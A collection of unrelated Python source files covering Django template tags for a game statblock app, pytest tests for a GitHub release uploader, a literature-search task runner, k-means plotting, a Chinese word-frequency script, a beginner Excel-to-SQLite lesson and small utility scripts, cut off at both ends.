        for idx, k in enumerate(class_dict):
            class_dict[k] = []

        for student_number, class_id in enumerate(class_list):
            class_dict[class_id].append(student_number)

        cluster_list = []

        for cluster in class_dict.values():
            cluster_list.append(cluster)

        return VertexCover(G, cluster_list)

def main():
    databot = SchoolData("school")
    databot.get_ground_truth(databot.get_graph())

if __name__ == "__main__":
    main()


from json import dumps as json_dumps
import markdown
from django import template
from django.utils.safestring import mark_safe

from statblocks.models import Action, Monster, StatblockBit, AbilityScore
from base.utils import Die
from places.models import Place
from places.serializers import PlaceLiteSerializer, PlaceSerializer

register = template.Library()

@register.simple_tag(takes_context=True)
def breakpoint_with_context(context):
    pass

@register.filter
def get_attr(obj, accessor):
    if hasattr(obj, accessor):
        return getattr(obj, accessor)
    else:
        return ''

@register.filter
def print_type_and_return(value):
    print(type(value))
    return value

@register.filter
def print_and_return(value):
    print(value)
    return value

@register.simple_tag
def val_in_iterable_in_dict_under_key(val, _dict, key):
    if _dict.get(key):
        _iterable = _dict[key]
        for item in _iterable:
            if str(item) == str(val):
                return True
    return False

@register.filter
def multiply(value, arg):
    return value * arg

@register.simple_tag
def get_attack_to_hit_for_monster(attack: Action, monster: Monster):

    mod_to_get = '{}_mod'.format(attack.attack_uses)
    if hasattr(monster, mod_to_get) and monster.proficiency is not None:
        return monster.proficiency + int(getattr(monster, mod_to_get))
    else:
        return 0

@register.filter
def range_or_reach_text(attack: Action):
    if not attack.attack_type:
        return ''
    if attack.attack_type in [Action.MELEE_WEAPON_ATTACK, Action.MELEE_SPELL_ATTACK]:
        return 'reach {}'.format(attack.get_reach_range_display())
    elif attack.range_secondary:  # ranged weapon attack or a ranged spell attack with a second range increment
        return 'range {}/{} ft.'.format(attack.reach_range, attack.range_secondary)
    else:  # ranged spell attack or a ranged weapon attack without a second range increment
        return 'range {}'.format(attack.get_reach_range_display())

@register.simple_tag
def avg_with_die_in_parens(num_die, die_type, constant_to_add=None):
    avg = Die.expected_value(num=num_die, size=die_type)
    if constant_to_add is None or constant_to_add == 0:
        return '{} ({}d{})'.format(avg, num_die, die_type)
    elif constant_to_add > 0:
        return '{} ({}d{} + {})'.format(
            avg + constant_to_add,
            num_die,
            die_type,
            constant_to_add
        )
    else:
        return '{} ({}d{} - {})'.format(
            avg + constant_to_add,
            num_die,
            die_type,
            -1*constant_to_add
        )

@register.filter
def get_mod(monster: Monster, mod):
    mod_to_get = '{}_mod'.format(mod)
    if hasattr(monster, mod_to_get):
        return getattr(monster, mod_to_get)
    else:
        return -5

@register.filter
def replace_generic_monster(description: str, monster: Monster=None):
    if description is None:
        return ''
    GENERIC_MONSTER_TAG = '$monster$'
    if monster is None:
        replace_with = 'monster'
    else:
        replace_with = monster.statblock_generic_name
    return description.replace(GENERIC_MONSTER_TAG, replace_with)

@register.filter
def fill_generic_statblock_descr(statbit: StatblockBit, monster: Monster=None):
    GENERIC_MONSTER_TAG = '$monster$'
    GENERIC_DC_TAG = '$dc$'
    GENERIC_SAVETYPE_TAG = '$savetype$'

    if statbit.description is None:
        return ''
    else:
        to_return = statbit.description
        if monster is not None:
            to_return = to_return.replace(
                GENERIC_MONSTER_TAG, monster.statblock_generic_name
            )
        if statbit.save_dc is not None:
            to_return = to_return.replace(
                GENERIC_DC_TAG, str(statbit.save_dc)
            )
        if statbit.save_type is not None:
            to_return = to_return.replace(
                GENERIC_SAVETYPE_TAG, str(AbilityScore.get_full_name(statbit.save_type)).title()
            )
        return to_return

@register.filter
def markdownify(text):
    return markdown.markdown(text, safe_mode='escape', extensions=[
        'markdown.extensions.nl2br',
        'markdown.extensions.tables',
        'markdown.extensions.sane_lists',
    ])

@register.filter
def user_props_json(user):
    try:
        props = {
            'is_authenticated': user.is_authenticated
        }
    except AttributeError:
        props = {}
    return mark_safe(json_dumps(props))

@register.filter
def place_json(place):
    if not place:
        return ''
    elif isinstance(place, Place):
        serializer = PlaceSerializer(place)
    else:
        serializer = PlaceLiteSerializer(place, many=True)
    return mark_safe(json_dumps(serializer.data))

@register.simple_tag(takes_context=True)
def template_context_to_json(context):
    to_return = {}
    api_url = context.get('api_url', None)
    if api_url:
        to_return['api_url'] = api_url
    user = context.get('user', None)
    profile = None
    if user:
        to_return['user'] = {
            'is_authenticated': user.is_authenticated
        }
        if user.is_authenticated:
            profile = user.profile
    # todo - alternative way of getting profile
    if profile:
        campaign = profile.cur_campaign
        if campaign:
            to_return['campaign'] = {
                'place_inclusion_distance': campaign.place_inclusion_distance
            }

    return mark_safe(json_dumps(to_return))


import pytest
import requests

from pathlib import Path
from pytest_mock import MockerFixture
from typing import Any
from unittest.mock import call as MockCall

from ahriman.core.configuration import Configuration
from ahriman.core.upload.github import GitHub

def test_github_release_tag(configuration: Configuration) -> None:
    """
    must correctly define GitHub release tag
    """
    _, repository_id = configuration.check_loaded()

    instance = GitHub(repository_id, configuration, "github:x86_64")
    assert instance.github_release_tag == instance.github_release_tag_name == repository_id.architecture

    configuration.set_option("github:x86_64", "use_full_release_name", "yes")
    instance = GitHub(repository_id, configuration, "github:x86_64")
    assert instance.github_release_tag == f"{repository_id.name}-{repository_id.architecture}"
    assert instance.github_release_tag_name == f"{repository_id.name} {repository_id.architecture}"

def test_asset_remove(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must remove asset from the release
    """
    request_mock = mocker.patch("ahriman.core.upload.github.GitHub.make_request")
    github.asset_remove(github_release, "asset_name")
    request_mock.assert_called_once_with("DELETE", "asset_url")

def test_asset_remove_unknown(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must not fail if no asset found
    """
    request_mock = mocker.patch("ahriman.core.upload.github.GitHub.make_request")
    github.asset_remove(github_release, "unknown_asset_name")
    request_mock.assert_not_called()

def test_asset_upload(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must upload asset to the repository
    """
    mocker.patch("pathlib.Path.open")
    request_mock = mocker.patch("ahriman.core.upload.github.GitHub.make_request")
    remove_mock = mocker.patch("ahriman.core.upload.github.GitHub.asset_remove")

    github.asset_upload(github_release, Path("/root/new.tar.xz"))
    request_mock.assert_called_once_with("POST", "upload_url", params=[("name", "new.tar.xz")],
                                         data=pytest.helpers.anyvar(int),
                                         headers={"Content-Type": "application/x-tar"})
    remove_mock.assert_not_called()

def test_asset_upload_with_removal(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must remove existing file before upload
    """
    mocker.patch("pathlib.Path.open")
    mocker.patch("ahriman.core.upload.github.GitHub.make_request")
    remove_mock = mocker.patch("ahriman.core.upload.github.GitHub.asset_remove")

    github.asset_upload(github_release, Path("asset_name"))
    github.asset_upload(github_release, Path("/root/asset_name"))
    remove_mock.assert_has_calls([
        MockCall(github_release, "asset_name"),
        MockCall(github_release, "asset_name"),
    ])

def test_asset_upload_empty_mimetype(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must upload asset to the repository with empty mime type if the library cannot guess it
    """
    mocker.patch("pathlib.Path.open")
    mocker.patch("ahriman.core.upload.github.GitHub.asset_remove")
    mocker.patch("mimetypes.guess_type", return_value=(None, None))
    request_mock = mocker.patch("ahriman.core.upload.github.GitHub.make_request")

    github.asset_upload(github_release, Path("/root/new.tar.xz"))
    request_mock.assert_called_once_with("POST", "upload_url", params=[("name", "new.tar.xz")],
                                         data=pytest.helpers.anyvar(int),
                                         headers={"Content-Type": "application/octet-stream"})

def test_get_local_files(github: GitHub, resource_path_root: Path, mocker: MockerFixture) -> None:
    """
    must get all local files recursively
    """
    walk_mock = mocker.patch("ahriman.core.util.walk")
    github.get_local_files(resource_path_root)
    walk_mock.assert_called()

def test_files_remove(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must remove files from the remote
    """
    remove_mock = mocker.patch("ahriman.core.upload.github.GitHub.asset_remove")
    github.files_remove(github_release, {Path("a"): "a"}, {"a": "a", "b": "b"})
    remove_mock.assert_called_once_with(github_release, "b")

def test_files_remove_empty(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must remove nothing if nothing changed
    """
    remove_mock = mocker.patch("ahriman.core.upload.github.GitHub.asset_remove")
    github.files_remove(github_release, {Path("a"): "a"}, {"a": "a"})
    remove_mock.assert_not_called()

def test_files_upload(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must upload files to the remote
    """
    upload_mock = mocker.patch("ahriman.core.upload.github.GitHub.asset_upload")
    github.files_upload(github_release, {Path("a"): "a", Path("b"): "c", Path("c"): "c"}, {"a": "a", "b": "b"})
    upload_mock.assert_has_calls([
        MockCall(github_release, Path("b")),
        MockCall(github_release, Path("c")),
    ])

def test_files_upload_empty(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must upload nothing if nothing changed
    """
    upload_mock = mocker.patch("ahriman.core.upload.github.GitHub.asset_upload")
    github.files_upload(github_release, {Path("a"): "a"}, {"a": "a"})
    upload_mock.assert_not_called()

def test_release_create(github: GitHub, mocker: MockerFixture) -> None:
    """
    must create release
    """
    request_mock = mocker.patch("ahriman.core.upload.github.GitHub.make_request")
    github.release_create()
    request_mock.assert_called_once_with(
        "POST", pytest.helpers.anyvar(str, True),
        json={"tag_name": github.github_release_tag, "name": github.github_release_tag_name})

def test_release_get(github: GitHub, mocker: MockerFixture) -> None:
    """
    must get release
    """
    request_mock = mocker.patch("ahriman.core.upload.github.GitHub.make_request")
    github.release_get()
    request_mock.assert_called_once_with("GET", pytest.helpers.anyvar(str, True))

def test_release_get_empty(github: GitHub, mocker: MockerFixture) -> None:
    """
    must return nothing in case of 404 status code
    """
    response = requests.Response()
    response.status_code = 404
    mocker.patch("ahriman.core.upload.github.GitHub.make_request",
                 side_effect=requests.HTTPError(response=response))
    assert github.release_get() is None

def test_release_get_exception(github: GitHub, mocker: MockerFixture) -> None:
    """
    must re-raise non HTTPError exception
    """
    mocker.patch("ahriman.core.upload.github.GitHub.make_request", side_effect=Exception())
    with pytest.raises(Exception):
        github.release_get()

def test_release_get_exception_http_error(github: GitHub, mocker: MockerFixture) -> None:
    """
    must re-raise HTTPError exception with code differs from 404
    """
    exception = requests.HTTPError(response=requests.Response())
    mocker.patch("ahriman.core.upload.github.GitHub.make_request", side_effect=exception)
    with pytest.raises(requests.HTTPError):
        github.release_get()

def test_release_update(github: GitHub, github_release: dict[str, Any], mocker: MockerFixture) -> None:
    """
    must update release
    """
    request_mock = mocker.patch("ahriman.core.upload.github.GitHub.make_request")
    github.release_update(github_release, "body")
    request_mock.assert_called_once_with("POST", "release_url", json={"body": "body"})

def test_release_sync(github: GitHub, mocker: MockerFixture) -> None:
    """
    must run sync command
    """
    release_get_mock = mocker.patch("ahriman.core.upload.github.GitHub.release_get", return_value={})
    get_hashes_mock = mocker.patch("ahriman.core.upload.github.GitHub.get_hashes", return_value={})
    get_local_files_mock = mocker.patch("ahriman.core.upload.github.GitHub.get_local_files", return_value={})
    files_upload_mock = mocker.patch("ahriman.core.upload.github.GitHub.files_upload")
    files_remove_mock = mocker.patch("ahriman.core.upload.github.GitHub.files_remove")
    release_update_mock = mocker.patch("ahriman.core.upload.github.GitHub.release_update")

    github.sync(Path("local"), [])
    release_get_mock.assert_called_once_with()
    get_hashes_mock.assert_called_once_with("")
    get_local_files_mock.assert_called_once_with(Path("local"))
    files_upload_mock.assert_called_once_with({}, {}, {})
    files_remove_mock.assert_called_once_with({}, {}, {})
    release_update_mock.assert_called_once_with({}, pytest.helpers.anyvar(int))

def test_release_sync_create_release(github: GitHub, mocker: MockerFixture) -> None:
    """
    must create release in case if it does not exist
    """
    mocker.patch("ahriman.core.upload.github.GitHub.release_get", return_value=None)
    mocker.patch("ahriman.core.upload.github.GitHub.get_hashes")
    mocker.patch("ahriman.core.upload.github.GitHub.get_local_files")
    mocker.patch("ahriman.core.upload.github.GitHub.files_upload")
    mocker.patch("ahriman.core.upload.github.GitHub.files_remove")
    mocker.patch("ahriman.core.upload.github.GitHub.release_update")
    release_create_mock = mocker.patch("ahriman.core.upload.github.GitHub.release_create")

    github.sync(Path("local"), [])
    release_create_mock.assert_called_once_with()


# run_search.py
# 使用一个常驻线程执行搜索任务
# Written by Steve D. J. on 2022/7/6.

import json
import time
import os
from threading import Thread
# from multiprocessing import Process

import eventlet

from database_new import DATABASE
from email_sender import EmailSender
from controller import CONTROLLER

class Runner:
    """
    搜索任务队列：
    search_task_queue: (list) 待处理的搜索任务，其中每个元素为列表 [robust_keywords, result_dir]

    """
    def __init__(self):
        self.search_task_queue = []
        # self.thread = Thread(target=self.search_thread)
        # self.thread.start()
        # self.process = Process(target=self.search_thread)
        # self.process.start()

    def run_search(self, robust_keywords: str, timestamp: int, raw_keywords, start_time, end_time, filter_article_type, filter_age, filter_language, filter_species, filter_sex):
        """适用于单个线程的执行搜索及搜索完成善后任务的函数

        将 robust_keywords 输入搜索脚本，启动搜索服务；完成搜索后将本次搜索在 search_history 表中的条目修改为已完成搜索

        :param robust_keywords: (str) 经过鲁棒性处理后的搜索关键词组合
        :param timestamp: (int) 本次搜索对应的搜索记录的时间戳
        :return: None
        """
        print("Searching")

        # 获取结果保存路径
        history = DATABASE.get_result(timestamp)[0]
        result_timestamp = history[1]
        result_dir = 'static/search_result/' + str(result_timestamp) + '/'

        # 判断结果保存路径是否已经存在
        if os.path.exists(result_dir) is False:
            os.mkdir(result_dir)

        # TODO: 启动搜索，使用 robust_keywords 作为关键词进行搜索，将 paper_info.xlsx 和 clue_info.xlsx 两个文件输出到 result_dir 下

        # TODO: 在这里执行翻译，Thread()中 target=函数名（不要加括号） args=实参元组
        # translate_thread = Thread(target=, args=())       # 添加函数后取消注释
        # translate_thread.start()      # 添加函数后取消注释
        # TODO: 在这里执行NLP
        # NLP_thread = Thread(target=, args=())     # 添加函数后取消注释
        # NLP_thread.start()        # 添加函数后取消注释

        # 阻塞主线程
        # translate_thread.join()       # 添加函数后取消注释
        # NLP_thread.join()     # 添加函数后取消注释

        # 测试模式
        if CONTROLLER.test_mode is True:
            result_dir = 'static/search_result/114514/'

        # 查看结果文件是否已写入指定目录
        if os.path.exists(result_dir+'paper_info.xlsx') and os.path.exists(result_dir+'clue_info.xlsx') and os.path.exists(result_dir+'web_session.zip') and os.path.exists(result_dir+'clue_info.json') and os.path.exists(result_dir+'file.list'):
            # 从json文件中提取结果文献的 abstract_highlight 字段，生成HTML标签，保存至数据库 paper_abstract 表
            if CONTROLLER.test_mode is True:
                # 更改至测试用路径
                result_dir = 'static/json_data_test/'

            # 读取 file.list 获取包含结果文献信息的json文件目录
            file_list = open(result_dir + 'file.list', 'r')
            json_dir_list = file_list.readlines()
            for json_dir in json_dir_list:
                json_dir = json_dir[:-1]  # 删除换行符 \n
                raw_paper_info = json.load(open(json_dir, 'r'))
                pmid = int(raw_paper_info['pmid'])
                abstract_highlight_list = raw_paper_info['abstract_highlight']
                # 生成带有高亮的HTML字符串
                abstract_highlight_str = ''
                for i in range(len(abstract_highlight_list)):
                    word = abstract_highlight_list[i]
                    if word != '':
                        if word[0] == '<':
                            color_sp = word.find('font_color=') + 11
                            color_ep = word.find('>')
                            color = word[color_sp:color_ep]
                            abstract_highlight_str += ''
                            abstract_highlight_str += abstract_highlight_list[i + 1] + ''
                            try:
                                abstract_highlight_list[i + 1] = ''
                            except:
                                pass
                        else:
                            abstract_highlight_str += word
                # 写入数据库
                # DATABASE.add_paper_highlight_abstract(pmid, abstract_highlight_str)

                # 将高亮文本以文本文件的形式保存至指定目录
                highlight_dir = 'static/highlight_text/'
                category_num = pmid % 996       # pmid 除 996 取余数作为存放目录
                highlight_dir += str(category_num) + '/'
                if os.path.exists(highlight_dir) is False:
                    os.mkdir(highlight_dir)
                highlight_text_file = open(highlight_dir + str(pmid) + '.txt', 'w')
                highlight_text_file.write(abstract_highlight_str)
                highlight_text_file.close()

            # 将数据库中所有搜索该关键词的搜索记录标记为已完成搜索
            DATABASE.search_completed(raw_keywords, start_time, end_time, filter_article_type, filter_age, filter_language,
                                      filter_species, filter_sex)

            # 向发起搜索的用户发送提醒邮件
            # 生成验证码
            uuids = DATABASE.get_uuids_with_keywords(raw_keywords, start_time, end_time, filter_article_type, filter_age,
                                                     filter_language, filter_species, filter_sex)
            for uuid in uuids:
                uuid = uuid[0]
                user = DATABASE.get_user(uuid)
                email = user.email
                username = user.username
                email_sender = EmailSender(email, username)
                email_sender.generate_search_completed_content(robust_keywords)
                # 发送验证邮件
                email_sender.send()

    def search_thread(self):
        while True:
            if len(self.search_task_queue) > 0:
                search_task = self.search_task_queue[0]
                self.search_task_queue.pop(0)
                eventlet.monkey_patch()
                with eventlet.Timeout(CONTROLLER.search_max_time, False):
                    # print(search_task)
                    self.run_search(search_task[0], search_task[1], search_task[2], search_task[3], search_task[4], search_task[5], search_task[6], search_task[7], search_task[8], search_task[9])
            else:
                time.sleep(1)

SEARCH_RUNNER = Runner()


import argparse

import funcx
from funcx.sdk.client import FuncXClient

def container_sum(event):
    return sum(event)

def test(fxc, ep_id):

    fn_uuid = fxc.register_function(
        container_sum,
        container_uuid="3861862b-152e-49a4-b15e-9a5da4205cad",
        description="New sum function defined without string spec",
    )
    print("FN_UUID : ", fn_uuid)

    task_id = fxc.run([1, 2, 3, 9001], endpoint_id=ep_id, function_id=fn_uuid)
    r = fxc.get_task_status(task_id)
    print("Got from status :", r)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-e", "--endpoint", required=True)
    args = parser.parse_args()

    print("FuncX version : ", funcx.__version__)
    fxc = FuncXClient()
    test(fxc, args.endpoint)


####  This script is draw points in 3D space with chosed axis
from mpl_toolkits.mplot3d import Axes3D  # noqa: F401 unused import

from sklearn.cluster import KMeans
import matplotlib.pyplot as plt
import numpy as np
import json
from os import walk
import random

JSON_PATH = "remove_data/old_count/"
JSON_PREFIX = "count_result_"

all_axis = [
    "Subject",
    "Scene",
    "Aspect",
    "Action",
    "Moment",
    "Non_sequitur"
    ]

import matplotlib,numpy
import pylab

cmap = matplotlib.colors.ListedColormap ( numpy.random.rand ( 256,3))
# pylab.imshow ( Z, cmap = cmap)
# pylab.show()

def normalize_vector(input_vector):
    ### normalize input list (vecter)
    total = 0
    normalized_vector = []
    for number in input_vector:
        total = total + number

    for number in input_vector:
        if total != 0:
            new_number = float(number/float(total))
        else:
            new_number = float(0)

        normalized_vector.append(new_number)

    return normalized_vector

def chose_axis(axis_1, axis_2, axis_3, data):
    ### choose needed 3 axis

    x_axis = axis_1
    # print(regroup_axis(data, axis_1))
    column_x = regroup_axis(data, axis_1)
    y_axis= axis_2
    # print(regroup_axis(data, axis_2))
    column_y = regroup_axis(data, axis_2)
    z_axis = axis_3
    # print(regroup_axis(data, axis_3))
    column_z = regroup_axis(data, axis_3)
    print(" x = "+x_axis+", y = "+y_axis+" z = "+z_axis)

    fig = plt.figure()
    ax = fig.add_subplot(111, projection='3d')

    n = 100
    marker_sign = "o"
    x_array = np.array(column_x)
    y_array = np.array(column_y)
    z_array = np.array(column_z)

    # xs = randrange(n, 23, 32)
    # ys = randrange(n, 0, 100)
    # zs = randrange(n, 10, 20)

    ax.scatter(x_array, y_array, z_array, marker=marker_sign)

    ax.set_xlabel(axis_1)
    ax.set_ylabel(axis_2)
    ax.set_zlabel(axis_3)

    plt.show()

def chose_axis_w_cluster(axis_1, axis_2, axis_3, data, cluster_labels, max_label):
    ### choose needed 3 axis

    x_axis = axis_1
    # print(regroup_axis(data, axis_1))
    column_x = regroup_axis(data, axis_1)
    y_axis= axis_2
    # print(regroup_axis(data, axis_2))
    column_y = regroup_axis(data, axis_2)
    z_axis = axis_3
    # print(regroup_axis(data, axis_3))
    column_z = regroup_axis(data, axis_3)
    print(" x = "+x_axis+", y = "+y_axis+" z = "+z_axis)

    fig = plt.figure()
    ax = fig.add_subplot(111, projection='3d')

    n = 100
    marker_sign = "o"
    x_array = np.array(column_x)
    y_array = np.array(column_y)
    z_array = np.array(column_z)

    # xs = randrange(n, 23, 32)
    # ys = randrange(n, 0, 100)
    # zs = randrange(n, 10, 20)

    # scatter_x = np.array([1,2,3,4,5])
    # scatter_y = np.array([5,4,3,2,1])
    group = np.array(cluster_labels)

    #### TODO: make the color dictionary randomly generated.
    cdict = {
        0: 'red', 1: 'blue', 2: 'green',
        3: 'orange', 4: 'purple', 5: 'brown',
        6: 'pink', 7: 'cyan', 8: 'gold',
        9: 'salmon', 10: 'darkturquoise', 11: 'orchid'
    }
    # cdict = {}
    # for index in range(max_label):
    #     r = random.random()

    #     b = random.random()

    #     g = random.random()

    #     color = (r, g, b)
    #     print(color)
    #     rgb = np.random.rand(3,)
    #     cdict[index] = rgb
    # print(cdict)
    # new_cmap = rand_cmap(100, type='bright', first_color_black=True, last_color_black=False, verbose=True)

    # fig, ax = plt.subplots()
    for g in np.unique(group):
        ix = np.where(group == g)
        ax.scatter(x_array[ix], y_array[ix], z_array[ix], c = cdict[g], label = g)
        # ax.scatter(x_array[ix], y_array[ix], z_array[ix], c = cmap[g], label = g)

    ax.legend()
    # plt.show()

    # ax.scatter(x_array, y_array, z_array, marker=marker_sign)

    ax.set_xlabel(axis_1)
    ax.set_ylabel(axis_2)
    ax.set_zlabel(axis_3)

    plt.show()

def axis_mapping(axis_name, name_array):
    ## mapping name to index

    target_index = -1
    list_count = 0
    for name in name_array:
        if name == axis_name:
            target_index = list_count
            break

        list_count = list_count + 1

    return target_index

def regroup_axis(data, axis_name):
    # load a vector array (many rows), and regroup then column wise
    target_vector = []
    for vector in data:
        ### expected [0.1, 0.2]
        ### expected [0.2, 0.3]
        ### expected [0.1, 0.2]
        # print(vector)
        target_vector.append(vector[axis_mapping(axis_name, all_axis)])
        #  print(vector[axis_mapping(axis_name, all_axis)])

    return target_vector

def json_2_vector(json_path, label_array):
    # load counts from json file and make them a list (be used as a vector)
    target_vector = []
    label_index = {}

    label_index_count = 0
    for label in label_array:
        if label not in label_index:
            label_index[label] = label_index_count
            label_index_count = label_index_count + 1

    for label in label_index:
        # a vector with all zeros
        target_vector.append(float(0))

    with open(json_path) as json_file:
        transition_counts = json.load(json_file)
        json_file.close()

        for transition_count in transition_counts:
            # target_vector.append(transition_counts[transition_count])
            target_vector[label_index[transition_count]] = float(transition_counts[transition_count])

    return target_vector

if __name__ == "__main__":
    print("Show the points in vector space")

    #### test imagine data
    # test_data_1 = [0.1, 0.2, 0.3, 0.0, 0.2, 0.1, 0.1]
    # test_data_2 = [0.2, 0.3, 0.1, 0.1, 0.1, 0.0, 0.2]
    # data_1 = {}
    # data_2 = {}

    # data_1["Action"] = test_data_1[0]
    # data_1["Aspect"] = test_data_1[1]
    # data_1["Moment"] = test_data_1[2]
    # data_1["Non_sequitur"] = test_data_1[3]
    # data_1["Other"] = test_data_1[4]
    # data_1["Scene"] = test_data_1[5]
    # data_1["Subject"] = test_data_1[6]

    # data_2["Action"] = test_data_2[0]
    # data_2["Aspect"] = test_data_2[1]
    # data_2["Moment"] = test_data_2[2]
    # data_2["Non_sequitur"] = test_data_2[3]
    # data_2["Other"] = test_data_2[4]
    # data_2["Scene"] = test_data_2[5]
    # data_2["Subject"] = test_data_2[6]

    # data = [test_data_1, test_data_2]

    # chose_axis("Action", "Subject", "Aspect", data)

    # JSON_PATH

    data = []
    print(JSON_PATH)
    for (_, _, file_names) in walk(JSON_PATH):
        # print(file_names)
        for single_file in file_names:
            print(single_file)

            book_vector = json_2_vector(JSON_PATH+single_file, all_axis)
            normalized_book_vector = normalize_vector(book_vector)

            data.append(normalized_book_vector)
            print(normalized_book_vector)

    # chose_axis("Action", "Subject", "Aspect", data)
    #print(type(data))

    ### data is the target data
    ### k-means

    num_cluster_centroid = 6
    #### test data
    # X = np.array([[1, 2], [1, 4], [1, 0], [10, 2], [10, 4], [10, 0]])

    data_for_clustering = np.array(data)
    kmeans = KMeans(n_clusters=num_cluster_centroid, random_state=0).fit(data_for_clustering)
    print(kmeans.labels_)

    # print(kmeans.predict([[0, 0], [12, 3]]))
    print(kmeans.cluster_centers_)
    data_clustering_labels = kmeans.labels_
    chose_axis_w_cluster("Action", "Subject", "Aspect", data, data_clustering_labels,num_cluster_centroid)


# coding:utf-8

import jieba
from wordcloud import WordCloud

import sys
reload(sys)
sys.setdefaultencoding('utf8')

from figure_painting import *

def get_words_frequency():
    # 打开文件并读取文本内容
    content = open('sgyy.txt','r').read()
    # 使用结巴分词对文本进行分词
    words = jieba.lcut(content)

    # 定义一个字典去存储分词结果和出现的次数
    counts = {}
    for word in words:
        # 我们忽略长度为1的词
        if len(word) == 1:
            continue
        if word == u'\r\n':
            continue
        counts[word] = counts.get(word, 0) + 1

    items = list(counts.items())

    # 根据items的第二个值进行从大到小的排序
    items.sort(key=lambda x:x[1], reverse=True)

    words_list_sort = []
    words_list_count = []

    for i in range(20):
        word, count = items[i]
        words_list_sort.append(word)
        words_list_count.append(count)
        # 格式化输出
        print ("{:<8}{:>5}".format(word, count))
        # print (word, count)

    return words_list_sort, words_list_count, words

def word_cloud(words):

    # 对切分结果重新拼接用于词云制作
    newtxt = " ".join(words)
    # 词云制作
    wordcloud = WordCloud(background_color='black',
                          width=800,
                          height=600,
                          font_path="/home/fuyinwen/Downloads/simhei.ttf",
                          max_words=100,
                          max_font_size=80
                          ).generate(newtxt)
    # 保存词云图
    wordcloud.to_file("word_cloud1.png")

def main():
    words_list_sort, words_list_count, words = get_words_frequency()
    # word_cloud(words)
    show_words_barh(words_list_sort, words_list_count)

if __name__ == '__main__':
    main()


"""
MeetUp 013 - Beginners Python Support Sessions 29-May-2019

Learning objectives:
    Part 1: Web application forms - see https://github.com/timcu/bpss-prime-minister.git
    Part 2: Reading Excel files and inserting into sqlite database

@author D Tim Cummings

The following challenge continues on from MeetUp 011 which read several excel worksheets of bank transactions
and combined them into a single pandas dataframe.
It uses the example excel workbook bank_accounts.xlsx

Challenge: Insert the data from the combined dataframe into an sqlite database

requirements.txt
xlrd
pandas

"""

import pandas as pd
import sqlite3

dct_accounts = pd.read_excel("bank_accounts.xlsx", sheet_name=None, skiprows=0)
for sheet_name, df in dct_accounts.items():
    if len(df) > 0:
        if 'liability' in sheet_name:
            df.Amount *= -1
            df.Balance *= -1
balance = 0
for sheet_name, df in dct_accounts.items():
    if df.shape[0] > 0:
        balance += df.at[0, 'Balance']
        balance -= df.at[0, 'Amount']
    df['Account'] = sheet_name
    df['Amount'] = df['Amount'].round(2)
    # sqlite3 can't save pandas.Timestamp so convert to datetime.date
    df['date_transaction'] = df['Date'].apply(lambda ts: ts.date())

df_combined = pd.concat(dct_accounts.values(), ignore_index=True).sort_values(by="Date")
for index, row in df_combined.iterrows():
    balance += row['Amount']
    df_combined.at[index, 'Balance'] = balance

# Store results in sqlite database

# Connection to database is to a file in the current working directory called db_transactions.sqlite
# PARSE_DECLTYPES tells python to use declared types for converting data, especially declared type 'date'
# which doesn't exist in sqlite3 but python converts dates to text when inserting data and text to dates
# when selecting data for a 'date' field
db = sqlite3.connect(
    database='db_transactions.sqlite',
    detect_types=sqlite3.PARSE_DECLTYPES
)
# By default sqlite3 returns tuples from sql 'select'.
# sqlite3.Row manufactures dict type objects so fields can be referred by name
db.row_factory = sqlite3.Row
# cursor is a database concept common to all databases. While it is possible in sqlite3 to use db.execute() rather
# than db.cursor().execute(), we will use cursors in this example to demonstrate how most databases work.
cursor = db.cursor()
# We are about to create table in the database. This will throw an error if it already exists so drop it first
cursor.execute("drop table if exists tbl_transaction")
# The following sql creates a table and defines its data structure. Unusually sqlite3 doesn't require datatypes
# but we are providing them to be consistent with other databases. Python uses the 'date' datatype to convert dates
cursor.execute("""create table tbl_transaction (
    id integer primary key,
    date_transaction date,
    num_amount numeric,
    num_balance numeric,
    vc_account varchar,
    vc_description varchar
)""")

# sqlite3 can use named bindings (eg :id, :Amount) or unnamed bindings (eg ?, ?). This example uses named bindings
# We use the same sql string for each row of data that is inserted
sql = """insert into tbl_transaction (id, date_transaction, num_amount, num_balance, vc_account, vc_description)
values (:id, :date_transaction, :Amount, :Balance, :Account, :Description)"""

# create a variable for our unique primary key
pk = 0
# loop through each row in chronological order
for index, row in df_combined.iterrows():
    # convert to dict so can add an extra key,value pair for primary key
    dct = dict(row)
    dct['id'] = pk
    # insert data in database using named bindings and a dict
    cursor.execute(sql, dct)
    # increment primary key
    pk += 1
    print(dct)

# we need to commit our transaction or else none of the data will be saved
db.commit()

# check that data is inserted by retrieving the first 20 records
sql = "select * from tbl_transaction limit 20"
records = cursor.execute(sql).fetchall()
for record in records:
    print(dict(record))


#%%
import os
from PIL import Image
#%%
def lst_resize(lst, directory, w, h):
    for i in lst:
        pth=os.path.join(directory,i)
        img=Image.open(pth)
        if img.size!=(w,h):
            img=img.resize((w,h))
            img.save(pth)
# %%
fi='/home/h/Desktop/data/2/t_label'
lst_i=os.listdir(fi)
lst_i.sort()
print(lst_i)
#%%
lst_resize(lst_i, fi, 512, 512)
#%%
# import os
# from importlib.resources import path
# import shutil
# import random
# from glob import glob
# #%%
# dir_input=glob('/home/h/Desktop/data*/m_label*')
# dir_label=glob('/home/h/Desktop/data*/t_label*')

# lst_input=sorted(os.listdir(dir_input))
# lst_label=sorted(os.listdir(dir_label))

# print(dir_input)
# print(dir_label)
# img_cnts = len(os.listdir(dir_label))


import requests

from configuration import SERVICE_URL

resp = requests.get(url=SERVICE_URL)

print(resp.json())

z = {
    'meta':
         {
             'pagination':
              {
                  'total': 2879,
                  'pages': 288,
                  'page': 1,
                  'limit': 10,
                  'links':
                    {
                        'previous': None,
                        'current': 'https://gorest.co.in/public/v1/users?page = 1',
                        'next': 'https://gorest.co.in/public/v1/users?page = 2'
                    }
               }
          },
     'data': [
         {
             'id': 4400595,
             'name': 'TrilokeshMenonJr.',
